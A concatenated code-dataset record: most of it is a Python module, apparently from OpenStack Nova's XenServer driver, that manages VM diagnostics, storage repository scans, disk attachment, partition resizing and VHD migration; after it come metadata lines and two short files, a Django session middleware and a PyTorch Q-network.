session.VM.get_power_state(vm_ref) vm_power_state = power_state.STATE_MAP[XENAPI_POWER_STATE[xen_power_state]] config_drive = configdrive.required_by(instance) diags = diagnostics.Diagnostics(state=vm_power_state, driver='xenapi', config_drive=config_drive) _add_cpu_usage(session, vm_ref, diags) _add_nic_usage(session, vm_ref, diags) _add_disk_usage(session, vm_ref, diags) _add_memory_usage(session, vm_ref, diags) return diags def _add_cpu_usage(session, vm_ref, diag_obj): cpu_num = int(session.VM.get_VCPUs_max(vm_ref)) for cpu_num in range(0, cpu_num): utilisation = _vm_query_data_source(session, vm_ref, "cpu%d" % cpu_num) if utilisation is not None: utilisation *= 100 diag_obj.add_cpu(id=cpu_num, utilisation=utilisation) def _add_nic_usage(session, vm_ref, diag_obj): vif_refs = session.VM.get_VIFs(vm_ref) for vif_ref in vif_refs: vif_rec = session.VIF.get_record(vif_ref) rx_rate = _vm_query_data_source(session, vm_ref, "vif_%s_rx" % vif_rec['device']) tx_rate = _vm_query_data_source(session, vm_ref, "vif_%s_tx" % vif_rec['device']) diag_obj.add_nic(mac_address=vif_rec['MAC'], rx_rate=rx_rate, tx_rate=tx_rate) def _add_disk_usage(session, vm_ref, diag_obj): vbd_refs = session.VM.get_VBDs(vm_ref) for vbd_ref in vbd_refs: vbd_rec = session.VBD.get_record(vbd_ref) read_bytes = _vm_query_data_source(session, vm_ref, "vbd_%s_read" % vbd_rec['device']) write_bytes = _vm_query_data_source(session, vm_ref, "vbd_%s_write" % vbd_rec['device']) diag_obj.add_disk(read_bytes=read_bytes, write_bytes=write_bytes) def _add_memory_usage(session, vm_ref, diag_obj): total_mem = _vm_query_data_source(session, vm_ref, "memory") free_mem = _vm_query_data_source(session, vm_ref, "memory_internal_free") used_mem = None if total_mem is not None: # total_mem provided from XenServer is in Bytes. Converting it to MB. total_mem /= units.Mi if free_mem is not None: # free_mem provided from XenServer is in KB. Converting it to MB. used_mem = total_mem - free_mem / units.Ki diag_obj.memory_details = diagnostics.MemoryDiagnostics( maximum=total_mem, used=used_mem) def compile_diagnostics(vm_rec): """Compile VM diagnostics data.""" try: keys = [] diags = {} vm_uuid = vm_rec["uuid"] xml = _get_rrd(_get_rrd_server(), vm_uuid) if xml: rrd = minidom.parseString(xml) for i, node in enumerate(rrd.firstChild.childNodes): # Provide the last update of the information if node.localName == 'lastupdate': diags['last_update'] = node.firstChild.data # Create a list of the diagnostic keys (in their order) if node.localName == 'ds': ref = node.childNodes # Name and Value if len(ref) > 6: keys.append(ref[0].firstChild.data) # Read the last row of the first RRA to get the latest info if node.localName == 'rra': rows = node.childNodes[4].childNodes last_row = rows[rows.length - 1].childNodes for j, value in enumerate(last_row): diags[keys[j]] = value.firstChild.data break return diags except expat.ExpatError as e: LOG.exception('Unable to parse rrd of %s', e) return {"Unable to retrieve diagnostics": e} def fetch_bandwidth(session): bw = host_network.fetch_all_bandwidth(session) return bw def _scan_sr(session, sr_ref=None, max_attempts=4): if sr_ref: # NOTE(johngarbutt) xenapi will collapse any duplicate requests # for SR.scan if there is already a scan in progress. # However, we don't want that, because the scan may have started # before we modified the underlying VHDs on disk through a plugin. # Using our own mutex will reduce cases where our periodic SR scan # in host.update_status starts racing the sr.scan after a plugin call. @utils.synchronized('sr-scan-' + sr_ref) def do_scan(sr_ref): LOG.debug("Scanning SR %s", sr_ref) attempt = 1 while True: try: return session.call_xenapi('SR.scan', sr_ref) except session.XenAPI.Failure as exc: with excutils.save_and_reraise_exception() as ctxt: if exc.details[0] == 'SR_BACKEND_FAILURE_40': if attempt < max_attempts: ctxt.reraise = False LOG.warning("Retry SR scan due to error: %s", exc) greenthread.sleep(2 ** attempt) attempt += 1 do_scan(sr_ref) def scan_default_sr(session): """Looks for the system default SR and triggers a re-scan.""" sr_ref = safe_find_sr(session) _scan_sr(session, sr_ref) return sr_ref def safe_find_sr(session): """Same as _find_sr except raises a NotFound exception if SR cannot be determined """ sr_ref = _find_sr(session) if sr_ref is None: raise exception.StorageRepositoryNotFound() return sr_ref def _find_sr(session): """Return the storage repository to hold VM images.""" host = session.host_ref try: tokens = CONF.xenserver.sr_matching_filter.split(':') filter_criteria = tokens[0] filter_pattern = tokens[1] except IndexError: # oops, flag is invalid LOG.warning("Flag sr_matching_filter '%s' does not respect " "formatting convention", CONF.xenserver.sr_matching_filter) return None if filter_criteria == 'other-config': key, value = filter_pattern.split('=', 1) for sr_ref, sr_rec in session.get_all_refs_and_recs('SR'): if not (key in sr_rec['other_config'] and sr_rec['other_config'][key] == value): continue for pbd_ref in sr_rec['PBDs']: pbd_rec = session.get_rec('PBD', pbd_ref) if pbd_rec and pbd_rec['host'] == host: return sr_ref elif filter_criteria == 'default-sr' and filter_pattern == 'true': pool_ref = session.call_xenapi('pool.get_all')[0] sr_ref = session.call_xenapi('pool.get_default_SR', pool_ref) if sr_ref: return sr_ref # No SR found! LOG.error("XenAPI is unable to find a Storage Repository to " "install guest instances on. Please check your " "configuration (e.g. set a default SR for the pool) " "and/or configure the flag 'sr_matching_filter'.") return None def _safe_find_iso_sr(session): """Same as _find_iso_sr except raises a NotFound exception if SR cannot be determined """ sr_ref = _find_iso_sr(session) if sr_ref is None: raise exception.NotFound(_('Cannot find SR of content-type ISO')) return sr_ref def _find_iso_sr(session): """Return the storage repository to hold ISO images.""" host = session.host_ref for sr_ref, sr_rec in session.get_all_refs_and_recs('SR'): LOG.debug("ISO: looking at SR %s", sr_rec) if not sr_rec['content_type'] == 'iso': LOG.debug("ISO: not iso content") continue if 'i18n-key' not in sr_rec['other_config']: LOG.debug("ISO: iso content_type, no 'i18n-key' key") continue if not sr_rec['other_config']['i18n-key'] == 'local-storage-iso': LOG.debug("ISO: iso content_type, i18n-key value not " "'local-storage-iso'") continue LOG.debug("ISO: SR MATCHing our criteria") for pbd_ref in sr_rec['PBDs']: LOG.debug("ISO: ISO, looking to see if it is host local") pbd_rec = session.get_rec('PBD', pbd_ref) if not pbd_rec: LOG.debug("ISO: PBD %s disappeared", pbd_ref) continue pbd_rec_host = pbd_rec['host'] LOG.debug("ISO: PBD matching, want %(pbd_rec)s, have %(host)s", {'pbd_rec': pbd_rec, 'host': host}) if pbd_rec_host == host: LOG.debug("ISO: SR with local PBD") return sr_ref return None def _get_rrd_server(): """Return server's scheme and address to use for retrieving RRD XMLs.""" xs_url = urlparse.urlparse(CONF.xenserver.connection_url) return [xs_url.scheme, xs_url.netloc] def _get_rrd(server, vm_uuid): """Return the VM RRD XML as a string.""" try: xml = urlrequest.urlopen("%s://%s:%s@%s/vm_rrd?uuid=%s" % ( server[0], CONF.xenserver.connection_username, CONF.xenserver.connection_password, server[1], vm_uuid)) return xml.read() except IOError: LOG.exception('Unable to obtain RRD XML for VM %(vm_uuid)s with ' 'server details: %(server)s.', {'vm_uuid': vm_uuid, 'server': server}) return None def _get_all_vdis_in_sr(session, sr_ref): for vdi_ref in session.call_xenapi('SR.get_VDIs', sr_ref): vdi_rec = session.get_rec('VDI', vdi_ref) # Check to make sure the record still exists. It may have # been deleted between the get_all call and get_rec call if vdi_rec: yield vdi_ref, vdi_rec def get_instance_vdis_for_sr(session, vm_ref, sr_ref): """Return opaqueRef for all the vdis which live on sr.""" for vbd_ref in session.call_xenapi('VM.get_VBDs', vm_ref): try: vdi_ref = session.call_xenapi('VBD.get_VDI', vbd_ref) if sr_ref == session.call_xenapi('VDI.get_SR', vdi_ref): yield vdi_ref except session.XenAPI.Failure: continue def _get_vhd_parent_uuid(session, vdi_ref, vdi_rec=None): if vdi_rec is None: vdi_rec = session.call_xenapi("VDI.get_record", vdi_ref) if 'vhd-parent' not in vdi_rec['sm_config']: return None parent_uuid = vdi_rec['sm_config']['vhd-parent'] vdi_uuid = vdi_rec['uuid'] LOG.debug('VHD %(vdi_uuid)s has parent %(parent_uuid)s', {'vdi_uuid': vdi_uuid, 'parent_uuid': parent_uuid}) return parent_uuid def _walk_vdi_chain(session, vdi_uuid): """Yield vdi_recs for each element in a VDI chain.""" scan_default_sr(session) while True: vdi_ref = session.call_xenapi("VDI.get_by_uuid", vdi_uuid) vdi_rec = session.call_xenapi("VDI.get_record", vdi_ref) yield vdi_rec parent_uuid = _get_vhd_parent_uuid(session, vdi_ref, vdi_rec) if not parent_uuid: break vdi_uuid = parent_uuid def _is_vdi_a_snapshot(vdi_rec): """Ensure VDI is a snapshot, and not cached image.""" is_a_snapshot = vdi_rec['is_a_snapshot'] image_id = vdi_rec['other_config'].get('image-id') return is_a_snapshot and not image_id def _child_vhds(session, sr_ref, vdi_uuid_list, old_snapshots_only=False): """Return the immediate children of a given VHD. This is not recursive, only the immediate children are returned. """ children = set() for ref, rec in _get_all_vdis_in_sr(session, sr_ref): rec_uuid = rec['uuid'] if rec_uuid in vdi_uuid_list: continue parent_uuid = _get_vhd_parent_uuid(session, ref, rec) if parent_uuid not in vdi_uuid_list: continue if old_snapshots_only and not _is_vdi_a_snapshot(rec): continue children.add(rec_uuid) return list(children) def _count_children(session, parent_vdi_uuid, sr_ref): # Search for any other vdi which has the same parent as us to work out # whether we have siblings and therefore if coalesce is possible children = 0 for _ref, rec in _get_all_vdis_in_sr(session, sr_ref): if (rec['sm_config'].get('vhd-parent') == parent_vdi_uuid): children = children + 1 return children def _wait_for_vhd_coalesce(session, instance, sr_ref, vdi_ref, vdi_uuid_list): """Spin until the parent VHD is coalesced into one of the VDIs in the list vdi_uuid_list is a list of acceptable final parent VDIs for vdi_ref; once the parent of vdi_ref is in vdi_uuid_chain we consider the coalesce over. The use case is there are any number of VDIs between those in vdi_uuid_list and vdi_ref that we expect to be coalesced, but any of those in vdi_uuid_list may also be coalesced (except the base UUID - which is guaranteed to remain) """ # If the base disk was a leaf node, there will be no coalescing # after a VDI snapshot. if len(vdi_uuid_list) == 1: LOG.debug("Old chain is single VHD, coalesce not possible.", instance=instance) return # If the parent of the original disk has other children, # there will be no coalesce because of the VDI snapshot. # For example, the first snapshot for an instance that has been # spawned from a cached image, will not coalesce, because of this rule. parent_vdi_uuid = vdi_uuid_list[1] if _count_children(session, parent_vdi_uuid, sr_ref) > 1: LOG.debug("Parent has other children, coalesce is unlikely.", instance=instance) return # When the VDI snapshot is taken, a new parent is created. # Assuming it is not one of the above cases, that new parent # can be coalesced, so we need to wait for that to happen. max_attempts = CONF.xenserver.vhd_coalesce_max_attempts # Remove the leaf node from list, to get possible good parents # when the coalesce has completed. # Its possible that other coalesce operation happen, so we need # to consider the full chain, rather than just the most recent parent. good_parent_uuids = vdi_uuid_list[1:] for i in range(max_attempts): # NOTE(sirp): This rescan is necessary to ensure the VM's `sm_config` # matches the underlying VHDs. # This can also kick XenServer into performing a pending coalesce. _scan_sr(session, sr_ref) parent_uuid = _get_vhd_parent_uuid(session, vdi_ref) if parent_uuid and (parent_uuid not in good_parent_uuids): LOG.debug("Parent %(parent_uuid)s not yet in parent list" " %(good_parent_uuids)s, waiting for coalesce...", {'parent_uuid': parent_uuid, 'good_parent_uuids': good_parent_uuids}, instance=instance) else: LOG.debug("Coalesce detected, because parent is: %s", parent_uuid, instance=instance) return greenthread.sleep(CONF.xenserver.vhd_coalesce_poll_interval) msg = (_("VHD coalesce attempts exceeded (%d)" ", giving up...") % max_attempts) raise exception.NovaException(msg) def _wait_for_device(session, dev, dom0, max_seconds): """Wait for device node to appear.""" dev_path = utils.make_dev_path(dev) found_path = None if dom0: found_path = disk_management.wait_for_dev(session, dev_path, max_seconds) else: for i in range(0, max_seconds): if os.path.exists(dev_path): found_path = dev_path break time.sleep(1) if found_path is None: raise exception.StorageError( reason=_('Timeout waiting for device %s to be created') % dev) def cleanup_attached_vdis(session): """Unplug any instance VDIs left after an unclean restart.""" this_vm_ref = _get_this_vm_ref(session) vbd_refs = session.call_xenapi('VM.get_VBDs', this_vm_ref) for vbd_ref in vbd_refs: try: vdi_ref = session.call_xenapi('VBD.get_VDI', vbd_ref) vdi_rec = session.call_xenapi('VDI.get_record', vdi_ref) except session.XenAPI.Failure as e: if e.details[0] != 'HANDLE_INVALID': raise continue if 'nova_instance_uuid' in vdi_rec['other_config']: # Belongs to an instance and probably left over after an # unclean restart LOG.info('Disconnecting stale VDI %s from compute domU', vdi_rec['uuid']) unplug_vbd(session, vbd_ref, this_vm_ref) destroy_vbd(session, vbd_ref) @contextlib.contextmanager def vdi_attached(session, vdi_ref, read_only=False, dom0=False): if dom0: this_vm_ref = _get_dom0_ref(session) else: # Make sure we are running as a domU. ensure_correct_host(session) this_vm_ref = _get_this_vm_ref(session) vbd_ref = create_vbd(session, this_vm_ref, vdi_ref, 'autodetect', read_only=read_only, bootable=False) try: LOG.debug('Plugging VBD %s ... ', vbd_ref) session.VBD.plug(vbd_ref, this_vm_ref) try: LOG.debug('Plugging VBD %s done.', vbd_ref) dev = session.call_xenapi("VBD.get_device", vbd_ref) LOG.debug('VBD %(vbd_ref)s plugged as %(dev)s', {'vbd_ref': vbd_ref, 'dev': dev}) _wait_for_device(session, dev, dom0, CONF.xenserver.block_device_creation_timeout) yield dev finally: # As we can not have filesystems mounted here (we cannot # destroy the VBD with filesystems mounted), it is not # useful to call sync. LOG.debug('Destroying VBD for VDI %s ... ', vdi_ref) unplug_vbd(session, vbd_ref, this_vm_ref) finally: try: destroy_vbd(session, vbd_ref) except exception.StorageError: # destroy_vbd() will log error pass LOG.debug('Destroying VBD for VDI %s done.', vdi_ref) def _get_sys_hypervisor_uuid(): with open('/sys/hypervisor/uuid') as f: return f.readline().strip() def _get_dom0_ref(session): vms = session.call_xenapi("VM.get_all_records_where", 'field "domid"="0" and ' 'field "resident_on"="%s"' % session.host_ref) return list(vms.keys())[0] def get_this_vm_uuid(session): if CONF.xenserver.independent_compute: LOG.error("This host has been configured with the independent " "compute flag. An operation has been attempted which is " "incompatible with this flag, but should have been " "caught earlier. Please raise a bug against the " "OpenStack Nova project") raise exception.NotSupportedWithOption( operation='uncaught operation', option='CONF.xenserver.independent_compute') if session and session.is_local_connection: # UUID is the control domain running on this host vms = session.call_xenapi("VM.get_all_records_where", 'field "domid"="0" and ' 'field "resident_on"="%s"' % session.host_ref) return vms[list(vms.keys())[0]]['uuid'] try: return _get_sys_hypervisor_uuid() except IOError: # Some guest kernels (without 5c13f8067745efc15f6ad0158b58d57c44104c25) # cannot read from uuid after a reboot. Fall back to trying xenstore. # See https://bugs.launchpad.net/ubuntu/+source/xen-api/+bug/1081182 domid, _ = nova.privsep.xenapi.xenstore_read('domid') vm_key, _ = nova.privsep.xenapi.xenstore_read( '/local/domain/%s/vm' % domid.strip()) return vm_key.strip()[4:] def _get_this_vm_ref(session): return session.call_xenapi("VM.get_by_uuid", get_this_vm_uuid(session)) def _get_partitions(dev): return nova.privsep.fs.list_partitions(utils.make_dev_path(dev)) def _stream_disk(session, image_service_func, image_type, virtual_size, dev): offset = 0 if image_type == ImageType.DISK: offset = MBR_SIZE_BYTES _write_partition(session, virtual_size, dev) dev_path = utils.make_dev_path(dev) with utils.temporary_chown(dev_path): with open(dev_path, 'wb') as f: f.seek(offset) image_service_func(f) def _write_partition(session, virtual_size, dev): dev_path = utils.make_dev_path(dev) primary_first = MBR_SIZE_SECTORS primary_last = MBR_SIZE_SECTORS + (virtual_size / SECTOR_SIZE) - 1 LOG.debug('Writing partition table %(primary_first)d %(primary_last)d' ' to %(dev_path)s...', {'primary_first': primary_first, 'primary_last': primary_last, 'dev_path': dev_path}) _make_partition(session, dev, "%ds" % primary_first, "%ds" % primary_last) LOG.debug('Writing partition table %s done.', dev_path) def _resize_part_and_fs(dev, start, old_sectors, new_sectors, flags): """Resize partition and fileystem. This assumes we are dealing with a single primary partition and using ext3 or ext4. """ size = new_sectors - start end = new_sectors - 1 dev_path = utils.make_dev_path(dev) partition_path = utils.make_dev_path(dev, partition=1) # Replay journal if FS wasn't cleanly unmounted nova.privsep.fs.e2fsck(partition_path) # Remove ext3 journal (making it ext2) nova.privsep.fs.ext_journal_disable(partition_path) if new_sectors < old_sectors: # Resizing down, resize filesystem before partition resize try: nova.privsep.fs.resize2fs(partition_path, [0], size='%ds' % size) except processutils.ProcessExecutionError as exc: LOG.error(six.text_type(exc)) reason = _("Shrinking the filesystem down with resize2fs " "has failed, please check if you have " "enough free space on your disk.") raise exception.ResizeError(reason=reason) nova.privsep.fs.resize_partition(dev_path, start, end, 'boot' in flags.lower()) if new_sectors > old_sectors: # Resizing up, resize filesystem after partition resize nova.privsep.fs.resize2fs(partition_path, [0]) # Add back journal nova.privsep.fs.ext_journal_enable(partition_path) def _log_progress_if_required(left, last_log_time, virtual_size): if timeutils.is_older_than(last_log_time, PROGRESS_INTERVAL_SECONDS): last_log_time = timeutils.utcnow() complete_pct = float(virtual_size - left) / virtual_size * 100 LOG.debug("Sparse copy in progress, " "%(complete_pct).2f%% complete. " "%(left)s bytes left to copy", {"complete_pct": complete_pct, "left": left}) return last_log_time def _sparse_copy(src_path, dst_path, virtual_size, block_size=4096): """Copy data, skipping long runs of zeros to create a sparse file.""" start_time = last_log_time = timeutils.utcnow() EMPTY_BLOCK = '\0' * block_size bytes_read = 0 skipped_bytes = 0 left = virtual_size LOG.debug("Starting sparse_copy src=%(src_path)s dst=%(dst_path)s " "virtual_size=%(virtual_size)d block_size=%(block_size)d", {'src_path': src_path, 'dst_path': dst_path, 'virtual_size': virtual_size, 'block_size': block_size}) # NOTE(sirp): we need read/write access to the devices; since we don't have # the luxury of shelling out to a sudo'd command, we temporarily take # ownership of the devices. with utils.temporary_chown(src_path): with utils.temporary_chown(dst_path): with open(src_path, "r") as src: with open(dst_path, "w") as dst: data = src.read(min(block_size, left)) while data: if data == EMPTY_BLOCK: dst.seek(block_size, os.SEEK_CUR) left -= block_size bytes_read += block_size skipped_bytes += block_size else: dst.write(data) data_len = len(data) left -= data_len bytes_read += data_len if left <= 0: break data = src.read(min(block_size, left)) greenthread.sleep(0) last_log_time = _log_progress_if_required( left, last_log_time, virtual_size) duration = timeutils.delta_seconds(start_time, timeutils.utcnow()) compression_pct = float(skipped_bytes) / bytes_read * 100 LOG.debug("Finished sparse_copy in %(duration).2f secs, " "%(compression_pct).2f%% reduction in size", {'duration': duration, 'compression_pct': compression_pct}) def _copy_partition(session, src_ref, dst_ref, partition, virtual_size): # Part of disk taken up by MBR virtual_size -= MBR_SIZE_BYTES with vdi_attached(session, src_ref, read_only=True) as src: src_path = utils.make_dev_path(src, partition=partition) with vdi_attached(session, dst_ref, read_only=False) as dst: dst_path = utils.make_dev_path(dst, partition=partition) _write_partition(session, virtual_size, dst) if CONF.xenserver.sparse_copy: _sparse_copy(src_path, dst_path, virtual_size) else: num_blocks = virtual_size / SECTOR_SIZE nova.privsep.xenapi.block_copy( src_path, dst_path, DD_BLOCKSIZE, num_blocks) def _mount_filesystem(dev_path, mount_point): """mounts the device specified by dev_path in mount_point.""" try: _out, err = nova.privsep.fs.mount('ext2,ext3,ext4,reiserfs', dev_path, mount_point, None) except processutils.ProcessExecutionError as e: err = six.text_type(e) return err def _mounted_processing(device, key, net, metadata): """Callback which runs with the image VDI attached.""" # NB: Partition 1 hardcoded dev_path = utils.make_dev_path(device, partition=1) with utils.tempdir() as tmpdir: # Mount only Linux filesystems, to avoid disturbing NTFS images err = _mount_filesystem(dev_path, tmpdir) if not err: try: # This try block ensures that the umount occurs if not agent.find_guest_agent(tmpdir): # TODO(berrange) passing in a None filename is # rather dubious. We shouldn't be re-implementing # the mount/unmount logic here either, when the # VFSLocalFS impl has direct support for mount # and unmount handling if it were passed a # non-None filename vfs = vfsimpl.VFSLocalFS( imgmodel.LocalFileImage(None, imgmodel.FORMAT_RAW), imgdir=tmpdir) LOG.info('Manipulating interface files directly') # for xenapi, we don't 'inject' admin_password here, # it's handled at instance startup time, nor do we # support injecting arbitrary files here. disk.inject_data_into_fs(vfs, key, net, metadata, None, None) finally: nova.privsep.fs.umount(dev_path) else: LOG.info('Failed to mount filesystem (expected for ' 'non-linux instances): %s', err) def ensure_correct_host(session): """Ensure we're connected to the host we're running on. This is the required configuration for anything that uses vdi_attached without the dom0 flag. """ if session.host_checked: return this_vm_uuid = get_this_vm_uuid(session) try: session.call_xenapi('VM.get_by_uuid', this_vm_uuid) session.host_checked = True except session.XenAPI.Failure as exc: if exc.details[0] != 'UUID_INVALID': raise raise Exception(_('This domU must be running on the host ' 'specified by connection_url')) def import_all_migrated_disks(session, instance, import_root=True): root_vdi = None if import_root: root_vdi = _import_migrated_root_disk(session, instance) eph_vdis = _import_migrate_ephemeral_disks(session, instance) return {'root': root_vdi, 'ephemerals': eph_vdis} def _import_migrated_root_disk(session, instance): chain_label = instance['uuid'] vdi_label = instance['name'] return _import_migrated_vhds(session, instance, chain_label, "root", vdi_label) def _import_migrate_ephemeral_disks(session, instance): ephemeral_vdis = {} instance_uuid = instance['uuid'] ephemeral_gb = instance.old_flavor.ephemeral_gb disk_sizes = get_ephemeral_disk_sizes(ephemeral_gb) for chain_number, _size in enumerate(disk_sizes, start=1): chain_label = instance_uuid + "_ephemeral_%d" % chain_number vdi_label = "%(name)s ephemeral (%(number)d)" % dict( name=instance['name'], number=chain_number) ephemeral_vdi = _import_migrated_vhds(session, instance, chain_label, "ephemeral", vdi_label) userdevice = 3 + chain_number ephemeral_vdis[str(userdevice)] = ephemeral_vdi return ephemeral_vdis def _import_migrated_vhds(session, instance, chain_label, disk_type, vdi_label): """Move and possibly link VHDs via the XAPI plugin.""" imported_vhds = vm_management.receive_vhd(session, chain_label, get_sr_path(session), _make_uuid_stack()) # Now we rescan the SR so we find the VHDs scan_default_sr(session) vdi_uuid = imported_vhds['root']['uuid'] vdi_ref = session.call_xenapi('VDI.get_by_uuid', vdi_uuid) # Set name-label so we can find if we need to clean up a failed migration _set_vdi_info(session, vdi_ref, disk_type, vdi_label, disk_type, instance) return {'uuid': vdi_uuid, 'ref': vdi_ref} def migrate_vhd(session, instance, vdi_uuid, dest, sr_path, seq_num, ephemeral_number=0): LOG.debug("Migrating VHD '%(vdi_uuid)s' with seq_num %(seq_num)d", {'vdi_uuid': vdi_uuid, 'seq_num': seq_num}, instance=instance) chain_label = instance['uuid'] if ephemeral_number: chain_label = instance['uuid'] + "_ephemeral_%d" % ephemeral_number try: vm_management.transfer_vhd(session, chain_label, dest, vdi_uuid, sr_path, seq_num) except session.XenAPI.Failure: msg = "Failed to transfer vhd to new host" LOG.debug(msg, instance=instance, exc_info=True) raise exception.MigrationError(reason=msg) def vm_ref_or_raise(session, instance_name): vm_ref = lookup(session, instance_name) if vm_ref is None: raise exception.InstanceNotFound(instance_id=instance_name) return vm_ref def handle_ipxe_iso(session, instance, cd_vdi, network_info): """iPXE ISOs are a mechanism to allow the customer to roll their own image. To use this feature, a service provider needs to configure the appropriate Nova flags, roll an iPXE ISO, then distribute that image to customers via Glance. NOTE: `mkisofs` is not present by default in the Dom0, so the service provider can either add that package manually to Dom0 or include the `mkisofs` binary in the image itself. """ boot_menu_url = CONF.xenserver.ipxe_boot_menu_url if not boot_menu_url: LOG.warning('ipxe_boot_menu_url not set, user will have to' ' enter URL manually...', instance=instance) return network_name = CONF.xenserver.ipxe_network_name if not network_name: LOG.warning('ipxe_network_name not set, user will have to' ' enter IP manually...', instance=instance) return network = None for vif in network_info: if vif['network']['label'] == network_name: network = vif['network'] break if not network: LOG.warning("Unable to find network matching '%(network_name)s', " "user will have to enter IP manually...", {'network_name': network_name}, instance=instance) return sr_path = get_sr_path(session) # Unpack IPv4 network info subnet = [sn for sn in network['subnets'] if sn['version'] == 4][0] ip = subnet['ips'][0] ip_address = ip['address'] netmask = network_model.get_netmask(ip, subnet) gateway = subnet['gateway']['address'] dns = subnet['dns'][0]['address'] try: disk_management.inject_ipxe_config(session, sr_path, cd_vdi['uuid'], boot_menu_url, ip_address, netmask, gateway, dns, CONF.xenserver.ipxe_mkisofs_cmd) except session.XenAPI.Failure as exc: _type, _method, error = exc.details[:3] if error == 'CommandNotFound': LOG.warning("ISO creation tool '%s' does not exist.", CONF.xenserver.ipxe_mkisofs_cmd, instance=instance) else: raise def set_other_config_pci(session, vm_ref, params): """Set the pci key of other-config parameter to params.""" other_config = session.call_xenapi("VM.get_other_config", vm_ref) other_config['pci'] = params session.call_xenapi("VM.set_other_config", vm_ref, other_config) def host_in_this_pool(session, host_ref): rec_dict = session.host.get_all_records() return host_ref in rec_dict.keys()
37.945552
79
0.632182
79594b4608f07cdaeb5ceeda0f9a522dd6685742
3,551
py
Python
waf/middleware/session.py
tickbh/luojiawaf_server
814793ff7989141caf38c3dedee95b4ecfacf8cc
[ "MulanPSL-1.0" ]
2
2022-03-14T12:07:53.000Z
2022-03-17T02:28:24.000Z
waf/middleware/session.py
tickbh/luojiawaf_server
814793ff7989141caf38c3dedee95b4ecfacf8cc
[ "MulanPSL-1.0" ]
null
null
null
waf/middleware/session.py
tickbh/luojiawaf_server
814793ff7989141caf38c3dedee95b4ecfacf8cc
[ "MulanPSL-1.0" ]
1
2022-03-29T09:33:16.000Z
2022-03-29T09:33:16.000Z
import time from importlib import import_module from django.conf import settings from django.contrib.sessions.backends.base import UpdateError from django.contrib.sessions.exceptions import SessionInterrupted from django.utils.cache import patch_vary_headers from django.utils.deprecation import MiddlewareMixin from django.utils.http import http_date class SessionMiddleware(MiddlewareMixin): def __init__(self, get_response): super().__init__(get_response) engine = import_module(settings.SESSION_ENGINE) self.SessionStore = engine.SessionStore def process_request(self, request): session_key = request.COOKIES.get(settings.SESSION_COOKIE_NAME) if not session_key: session_key = request.headers.get(settings.SESSION_COOKIE_NAME) request.session = self.SessionStore(session_key) def process_response(self, request, response): """ If request.session was modified, or if the configuration is to save the session every time, save the changes and set a session cookie or delete the session cookie if the session has been emptied. """ try: accessed = request.session.accessed modified = request.session.modified empty = request.session.is_empty() except AttributeError: return response # First check if we need to delete this cookie. # The session should be deleted only if the session is entirely empty. if settings.SESSION_COOKIE_NAME in request.COOKIES and empty: response.delete_cookie( settings.SESSION_COOKIE_NAME, path=settings.SESSION_COOKIE_PATH, domain=settings.SESSION_COOKIE_DOMAIN, samesite=settings.SESSION_COOKIE_SAMESITE, ) patch_vary_headers(response, ('Cookie',)) else: if accessed: patch_vary_headers(response, ('Cookie',)) if (modified or settings.SESSION_SAVE_EVERY_REQUEST) and not empty: if request.session.get_expire_at_browser_close(): max_age = None expires = None else: max_age = request.session.get_expiry_age() expires_time = time.time() + max_age expires = http_date(expires_time) # Save the session data and refresh the client cookie. # Skip session save for 500 responses, refs #3881. if response.status_code != 500: try: request.session.save() except UpdateError: raise SessionInterrupted( "The request's session was deleted before the " "request completed. The user may have logged " "out in a concurrent request, for example." ) response.set_cookie( settings.SESSION_COOKIE_NAME, request.session.session_key, max_age=max_age, expires=expires, domain=settings.SESSION_COOKIE_DOMAIN, path=settings.SESSION_COOKIE_PATH, secure=settings.SESSION_COOKIE_SECURE or None, httponly=settings.SESSION_COOKIE_HTTPONLY or None, samesite=settings.SESSION_COOKIE_SAMESITE, ) return response
46.116883
79
0.606871
79594bb2249b5f6e5b0f8817e0a4788cca2d0f21
1,557
py
Python
p1_navigation/model.py
Achronus/Udacity-DRL-Nanodegree-Projects
a732d1bd779eda5a9daead33f472eb316e61da5e
[ "MIT" ]
null
null
null
p1_navigation/model.py
Achronus/Udacity-DRL-Nanodegree-Projects
a732d1bd779eda5a9daead33f472eb316e61da5e
[ "MIT" ]
null
null
null
p1_navigation/model.py
Achronus/Udacity-DRL-Nanodegree-Projects
a732d1bd779eda5a9daead33f472eb316e61da5e
[ "MIT" ]
null
null
null
import torch import torch.nn as nn import torch.nn.functional as F #----------------------------------------------------------------------- # Class Title: QNetwork #----------------------------------------------------------------------- class QNetwork(nn.Module): """ Deep Q-Network architecture. """ #----------------------------------------------------------------------- # Function Title: __init__() #----------------------------------------------------------------------- def __init__(self, state_size, action_size, seed, fc1_units=64, fc2_units=64): """ Initialize parameters and build model. Params ====== state_size (int): Dimension of each state action_size (int): Dimension of each action seed (int): Random seed fc1_units (int): Number of nodes in first hidden layer fc2_units (int): Number of nodes in second hidden layer """ super().__init__() self.seed = torch.manual_seed(seed) self.fc1 = nn.Linear(state_size, fc1_units) self.fc2 = nn.Linear(fc1_units, fc2_units) self.out = nn.Linear(fc2_units, action_size) #----------------------------------------------------------------------- # Function Title: forward() #----------------------------------------------------------------------- def forward(self, state): """ Perform a forward pass where the network maps the state to action values. Params ====== state (array) - list of states to convert """ x = F.relu(self.fc1(state)) x = F.relu(self.fc2(x)) return self.out(x)
33.847826
80
0.472704
79594bf35df2bb8df48fd9ffd63328b1ea514ea2
14,555
py
Python
src/oci/core/models/instance_pool_summary.py
LaudateCorpus1/oci-python-sdk
b0d3ce629d5113df4d8b83b7a6502b2c5bfa3015
[ "Apache-2.0", "BSD-3-Clause" ]
null
null
null
src/oci/core/models/instance_pool_summary.py
LaudateCorpus1/oci-python-sdk
b0d3ce629d5113df4d8b83b7a6502b2c5bfa3015
[ "Apache-2.0", "BSD-3-Clause" ]
null
null
null
src/oci/core/models/instance_pool_summary.py
LaudateCorpus1/oci-python-sdk
b0d3ce629d5113df4d8b83b7a6502b2c5bfa3015
[ "Apache-2.0", "BSD-3-Clause" ]
null
null
null
